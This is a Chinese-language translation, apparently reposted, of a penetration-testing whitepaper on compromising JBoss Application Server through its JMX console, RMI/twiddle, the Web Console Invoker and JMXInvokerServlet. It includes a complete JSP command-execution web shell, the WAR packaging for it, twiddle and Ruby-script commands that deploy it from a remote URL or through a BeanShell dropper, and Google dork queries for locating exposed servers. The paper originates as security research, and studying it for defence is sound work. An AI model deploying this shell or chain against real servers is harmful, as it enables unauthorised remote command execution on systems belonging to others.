<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/178

    0x00 簡介


    JBoss應用服務器(JBoss AS)是一個被廣泛使用的開源Java應用服務器。

    它是JBoss企業中間件(JEMS)的一部分,并且經常在大型企業中使用。

    因為這個軟件是高度模塊化和松耦合的,導致了它很很復雜,同時也使它易成為攻擊者的目標。

    本文從攻擊者的角度來看,指出JBoss應用服務器存在的潛在風險,并結合例子如何實現如何在JBoss應用服務器上執行任意代碼。

    0x01 JBoss概述

    JBoss應用服務器基于Java企業版1.4,并可以在應用在非常多操作系統中,包括Linux,FreeBSD和Windows中,只要操作系統中安裝了Java虛擬機。

    enter image description here

    JBoss應用服務架構

    Java管理擴展(JMX)

    Java管理擴展(JMX)是一個監控管理Java應用程序的標準化架構,JMX分為三層:

    enter image description here

    JMX架構

    設備層(Instrumentation Level):主要定義了信息模型。在JMX中,各種管理對象以管理構件的形式存在,需要管理時,向MBean服務器進行注冊。該層還定義了通知機制以及一些輔助元數據類。

    代理層(Agent Level):主要定義了各種服務以及通信模型。該層的核心是一個MBean服務器,所有的管理構件都需要向它注冊,才能被管理。注冊在MBean服務器上管理構件并不直接和遠程應用程序進行通信,它們通過協議適配器和連接器進行通信。而協議適配器和連接器也以管理構件的形式向MBean服務器注冊才能提供相應的服務。

    分布服務層(Distributed Service Level):主要定義了能對代理層進行操作的管理接口和構件,這樣管理者就可以操作代理。然而,當前的JMX規范并沒有給出這一層的具體規范。

    JMX Invoker

    Invokers允許客戶端應用程序發送任意協議的JMX請求到服務端。

    這些調用都用過MBean服務器發送到響應的MBean服務。

    傳輸機制都是透明的,并且可以使用任意的協議如:HTTP,SOAP2或JRMP3。

    Deployer架構

    攻擊者對JBoss應用服務器中的Deployers模塊特別感興趣。

    他們被用來部署不同的組成部分。

    本文當中重點要將的安裝組件:

    JAR(Java ARchives):JAR 文件格式以流行的 ZIP 文件格式為基礎。與 ZIP 文件不同的是,JAR 文件不僅用于壓縮和發布,而且還用于部署和封裝庫、組件和插件程序,并可被像編譯器和 JVM 這樣的工具直接使用。在 JAR 中包含特殊的文件,如 manifests 和部署描述符,用來指示工具如何處理特定的 JAR。

    WAR(Web ARchives):WAR文件是JAR文件包含一個Web應用程序的組件,與Java ServerPages(JSP),Java類,靜態web頁面等類似。

    BSH(BeanSHell scripts):BeanShell是Java腳本語言,BeanShell腳本使用Java語法,運行在JRE上。

    最重要的JBoss應用服務器deployer是MainDeployer。它是部署組件的主要入口點。

    傳遞給MainDeployer的部署組件的路徑是一個URL形式:

    org.jboss.deployment.MainDeployer.deploy(String urlspec)
    

    MainDeployer會下載對象,并決定使用什么樣的SubDeployer轉發。

    根據組件的類型,SubDeployer(例如:JarDeployer,SarDeployer等)接受對象進行安裝。

    為了方便部署,可以使用UrlDeploymentScanner,它同樣獲取一個URL作為參數:

    org.jboss.deployment.scanner.URLDeploymentScanner.addURL(String urlspec)
    

    傳入的URL會被定期的檢查是否有新的安裝或更改。

    這就是JBoss應用服務器如何實現熱部署的,有新的或者更改的組件會被自動的部署。

    0x02 攻擊


    WAR文件

    最簡單的在JBoss應用服務器上運行自己的代碼是部署一個組件,JBoss可以通過HTTP安裝組件。

    WAR文件包需要在WEB-INF目錄下含一個web.xml文件,在實際的應用程序代碼目錄之外。

    這是一個描述文件,描述了在什么URL將在之后的應用程序中發現。

    WAR文件可以用Java的SDK jar命令創建:

    $ jar cvf redteam.war WEB-INF redteam.jsp
    

    redteam.war的結構目錄:

    |-- META-INF
    |   -- MANIFEST.MF
    |-- WEB-INF
    |   -- web.xml 
    -- redteam.jsp
    

    META-INF/MANIFEST.MF是用jar創建文件時自動創建的,包含JAR的信息,例如:應用程序的主入口點(需要調用的類)或者需要什么額外的類。這里生成的文件中沒有什么特別的信息,僅包含一些基本信息:

    Manifest-Version: 1.0 
    Created-By: 1.6.0_10 (Sun Microsystems Inc.) 
    

    WEB-INF/web.xml文件必須手動創建,它包含有關Web應用程序的信息,例如JSP文件,或者更詳細的應用描述信息,如果發生錯誤,使用什么圖標顯示或者錯誤頁面的名稱等

    <?xml version="1.0" ?>
    <web-app xmlns="http://java.sun.com/xml/ns/j2ee"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
                 http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
             version="2.4">
        <servlet>
            <servlet-name>RedTeam Shell</servlet-name>
            <jsp-file>/redteam.jsp</jsp-file>
        </servlet>
    </web-app>
    

    redteam的內容:

    <%@ page import="java.util.*,java.io.*"%>
    <%
    if (request.getParameter("cmd") != null) {
      String cmd = request.getParameter("cmd");
      Process p = Runtime.getRuntime().exec(cmd);
      OutputStream os = p.getOutputStream();
      InputStream in = p.getInputStream();
      DataInputStream dis = new DataInputStream(in);
      String disr = dis.readLine();
      while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
    } }
    %>
    

    HTTP請求:

    /redteam.jsp?cmd=ls
    

    將會列出當前目錄所有文件,命令執行后的結果會通過如下代碼返回來:

    while ( disr != null ) {
      out.println(disr);
      disr = dis.readLine();
    }
    

    JMX Console

    JMX控制臺允許通過web瀏覽器與JBoss應用服務器直接互動的組件。

    它可以方便的管理JBoss服務器,MBean的屬性與方法可以直接調用,只要參數中沒有復雜的參數類型。

    enter image description here

    JMX控制臺默認界面

    這個通常是攻擊者第一個目標。

    Server- 和ServerInfo-MBean

    MBeans的屬性
    jboss.system:type=Server
    jboss.system:type=ServerInfo
    

    展現了JBoss應用服務器與主機系統的信息,包含Java虛擬機以及操作系統的類型版本信息。

    enter image description here

    MBean的屬性

    JMX控制臺對MBeans可讀可操作,不僅包含JBoss應用服務器本身的信息,同時包含主機信息,這些有助于進一步攻擊。

    MBean的shutdown()方法可以關閉JBoss應用服務器,未授權的JMX接口可以導致拒絕服務攻擊。

    redteam.war安裝

    MainDeployer的方法屬性可以在JMX控制臺中的jboss.system中調用。

    deploy()方法可以由一個URL中一個參數調用,URL指向WAR文件,需要是服務器能夠訪問到的地址。

    當invoke按鈕被點擊時,JBoss應用服務器會下載WAR文件并安裝它,之后,就可以執行shell命令了

    enter image description here

    deploy()方法

    enter image description here

    JBoss應用程序執行ls -l命令

    RMI: 遠程方法調用

    通常JMX控制臺保護方法是加一個密碼保護。

    然而這不是訪問JBoss應用服務器組件的唯一方式,JBoss應用服務器經常與客戶端程序接口相互調用,Java遠程方法調用(RMI)也發揮重要作用。

    使用RMI,本地應用程序可以訪問遠程對象,并可以調用它們的方法。客戶端與服務器之間的通信是透明的。

    JNDI(Java Naming and Directory Interface)是一個應用程序設計的API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口,類似JDBC都是構建在抽象層上。

    JNDI可訪問的現有的目錄及服務有:

    DNS、XNam 、Novell目錄服務、LDAP(Lightweight Directory Access Protocol輕型目錄訪問協議)、 CORBA對象服務、文件系統、Windows XP/2000/NT/Me/9x的注冊表、RMI、DSML v1&v2、NIS。

    通過RMI訪問MBean

    RMI接口默認凱奇在端口4444上,JNDI接口默認開啟在1098和1099上。

    與JBoss應用服務器RMI通信,可以使用專門的Java程序。更簡單的方式是使用twiddle,包括JBoss應用服務器的安裝。

    $ sh jboss-4.2.3.GA/bin/twiddle.sh -h
    A JMX client to ’twiddle’ with a remote JBoss server.
    usage: twiddle.sh [options] <command> [command_arguments]
    options:
        -h, --help                   Show this help message
            --help-commands          Show a list of commands
        -H=<command>                 Show command specific help
    -c=command.properties            Specify the command.properties file to use
    -D<name>[=<value>]               Set a system property
    --                               Stop procession options
    -s, --server=<url>               The JNDI URL of the remote server
    -a, --adapter=<name>             The JNDI name of the RMI adapter to user
    -u, --user=<name>                Specify the username for authentication
    -p, --password=<name>            Specify the password for authentication
    -q, --quiet                      Be somewhat more quiet
    

    有了twiddle,就用可用命令行通過RMI調用JBoss應用服務器的MBeans。Windows下是twiddle.bat,Linux下是twiddle.sh來啟動twiddle。類似于JMX控制臺,MBEAN的屬性可讀可改,并且可以調用其方法。

    顯示MBean服務器的信息

    $ ./twiddle.sh -s scribus get jboss.system:type=ServerInfo
    ActiveThreadCount=50
    AvailableProcessors=1
    OSArch=amd64
    MaxMemory=518979584
    HostAddress=127.0.1.1
    JavaVersion=1.6.0_06
    OSVersion=2.6.24-19-server
    JavaVendor=Sun Microsystems Inc.
    TotalMemory=129957888
    ActiveThreadGroupCount=7
    OSName=Linux
    FreeMemory=72958384
    HostName=scribus
    JavaVMVersion=10.0-b22
    JavaVMVendor=Sun Microsystems Inc.
    JavaVMName=Java HotSpot(TM) 64-Bit Server VM
    
    安裝redteam.war

    根據twiddle的幫助利用deploy()方法安裝war文件。

    $ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy http://www.redteam-pentesting.de/redteam.war
    

    通過下面的URL訪問shell:

    http://scribus:8080/redteam/redteam-shell.jsp
    

    BSHDeployer

    利用RMI攻擊需要JBoss應用服務器能夠訪問遠程HTTP服務器。

    然而在很多配置中,防火墻不允許JBoss服務器對外發出連接請求:

    enter image description here

    為了能夠在JBoss服務器上安裝redteam.war,這個文件需要放在本地。

    雖然JBoss不允許直接直接上傳文件,但是有BeanShellDeployer,我們可以在遠程服務器上創建任意文件。

    BeanShell

    BeanShell是一種運行在JRE上的腳本語言,該語言支持常規的Java語法。可以很快寫完,并且不需要編譯。

    BSHDeployer

    JBoss服務器中BSHDeployer可以部署BeanShell腳本,它會安裝后自動執行。

    利用BSHDeployer安裝的方法是:

    createScriptDeployment(String bshScript, String scriptName)
    
    BeanShell腳本

    可以用下面的BeanShell腳本實現把redteam.war放到JBoss服務器上。

    import java.io.FileOutputStream;
    import sun.misc.BASE64Decoder;
    // Base64 encoded redteam.war
    String val = "UEsDBBQACA[...]AAAAA";
    BASE64Decoder decoder = new BASE64Decoder();
    byte[] byteval = decoder.decodeBuffer(val);
    FileOutputStream fs = new FileOutputStream("/tmp/redteam.war");
    fs.write(byteval);
    fs.close();
    

    變量val中是redteam.war文件的base64編碼后的字符串,腳本在tmp目錄下生成redteam.war文件,Windows中可以填寫C:WINDOWSTEMP。

    安裝redteam.war文件

    利用twiddle,可以使用DSHDeployer的createScriptDeployement()方法:

    $ ./twiddle.sh -s scribus invoke jboss.deployer:service=BSHDeployer createScriptDeployment "‘cat redteam.bsh‘" redteam.bsh 
    

    tedteam.bsh包含上面的BeanShell腳本,調用成功后JBoss服務器返回BeanShell創建的臨時文件地址:

    file:/tmp/redteam.bsh55918.bsh 
    

    當BeanShell腳本執行部署后,會創建/tmp/redteam.war文件,現在就可以通過調用本地文件來部署了:

    $ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy file:/tmp/redteam.war 
    

    之后就可以訪問redteam-shell.jsp來執行命令了。

    Web Console Invoker

    通過JMX控制臺與RMI來控制JBoss服務器是最常用的方法。

    除了這些還有更隱蔽的接口,其中之一就是Web控制臺中使用JMXInvoker。

    Web控制臺

    Web控制臺與JMX控制臺類似,也可以通過瀏覽器訪問。

    Web控制臺的默認界面:

    enter image description here

    如果JMX控制臺有密碼保護的話,是不可以通過Web控制臺訪問MBean的函數的,需要登陸后才能訪問。

    Web控制臺JMX Invoker

    Web控制臺除了可以看到組建的梳妝接口與JBoss服務器信息外,還可監視MBean屬性的實時變化。

    訪問URL:

    http://$hostname/web-console/Invoker 
    

    這個Invoker其實就是JMX Invoker,而不局限于Web控制臺提供的功能。

    默認情況下,訪問是不受限制的,所以攻擊者可以用它來發送任意的JMX命令到JBoss服務器。

    安裝redteam.war

    用Web控制臺的Invoker安裝redteam.war文件。

    webconsole_invoker.rb可以直接調用Web控制的JMX Invoker,使用的Java類是:org.jboss.console.remote.Util

    Util.class文件屬于JBoss服務器的JAR文件:console-mgr-classes.jar,它提供的方法:

    public static Object invoke(
        java.net.URL externalURL,
        RemoteMBeanInvocation mi)
    public static Object getAttribute(
        java.net.URL externalURL,
        RemoteMBeanAttributeInvocation mi)
    

    通過Web控制臺Invoker可以讀取MBean的屬性與invoke方法。

    這個類可以通過webconsole_invoker.rb腳本使用,使用方法如下:

    $ ./webconsole_invoker.rb -h
    Usage: ./webconsole_invoker.rb [options] MBean
    ?-u, --url URL  The Invoker URL to use (default:http://localhost:8080/web-console/Invoker)
    -a, --get-attr ATTR             Read an attribute of an MBean
    -i, --invoke METHOD             invoke an MBean method
    -p, --invoke-params PARAMS      MBean method params
    -s, --invoke-sigs SIGS          MBean method signature
    -t, --test                      Test the script with the ServerInfo MBean
    -h, --help                      Show this help
    
    Example usage:
    ./webconsole_invoker.rb -a OSVersion jboss.system:type=ServerInfo
    ./webconsole_invoker.rb -i listThreadDump jboss.system:type=ServerInfo
    ./webconsole_invoker.rb -i listMemoryPools -p true -s boolean jboss.system:type=ServerInfo 
    

    通過如下命令利用BSHDeployer來安裝redteam.war文件。

    $ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i createScriptDeployment -s "java.lang.String","java.lang.String" -p "`cat redteam.bsh`",redteam.bsh jboss.deployer:service=BSHDeployer
    

    在遠程服務器上創建一個本地的redteam.war文件,現在第二部就可以利用MainDeployer安裝/tmp/redteam.war文件了。

    $ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i deploy -s "java.lang.String" -p "file:/tmp/redteam.war" jboss.system:service=MainDeployer
    

    redteam-shell.jsp又可以訪問了。

    JMXInvokerServlet

    之前提到過JBoss服務器允許任何協議訪問MBean服務器,對于HTTP,JBoss提供HttpAdaptor。

    默認安裝中,HttpAdaptor是沒有啟用的,但是HttpAdaptor的JMX Invoker可以通過URL直接訪問。

    http://$hostname/invoker/JMXInvokerServlet 
    

    這個接口接受HTTP POST請求后,轉發到MBean,因此與Web控制臺Invoker類似,JMXInvokerServlet也可以發送任意的JMX調用到JBoss服務器。

    創建MarshalledInvocation對象

    JMXInvokerServlet的調用與Web控制臺Invoker不兼容,所以不能使用webconsole_invoker.rb腳本調用。

    MarshalledInvocation對象通常只在內部JBoss服務器上做交流。

    httpinvoker.rb腳本與webconsole_invoker.rb腳本類似,但是需要JBoss服務器激活HttpAdaptor

    $ ./httpinvoker.rb -h
    Usage: ./httpinvoker.rb [options] MBean
    ?-j, --jndi URL               The JNDI URL to use (default:http://localhost:8080/invoker/JNDIFactory)
    -p, --adaptor URL            The Adaptor URL to use (default:jmx/invoker/HttpAdaptor)
    -a, --get-attr ATTR          Read an attribute of an MBean
    -i,  --invoke METHOD         invoke an MBe an method          
         --invoke-params PARAMS  MBean method params
    -s, --invoke-sigs SIGS       MBean method signature
    -t, --test                   Test the script with the ServerInfo MBean
    -h, --help                   Show this help
    
    安裝tedteam.war

    與webconsole_invoker.rb安裝類似。

    尋找JBoss服務器的方法:

    inurl:"jmx-console/HtmlAdaptor"
    intitle:"Welcome to JBoss"
    

    From: Whitepaper_Whos-the-JBoss-now_RedTeam-Pentesting_EN

    97av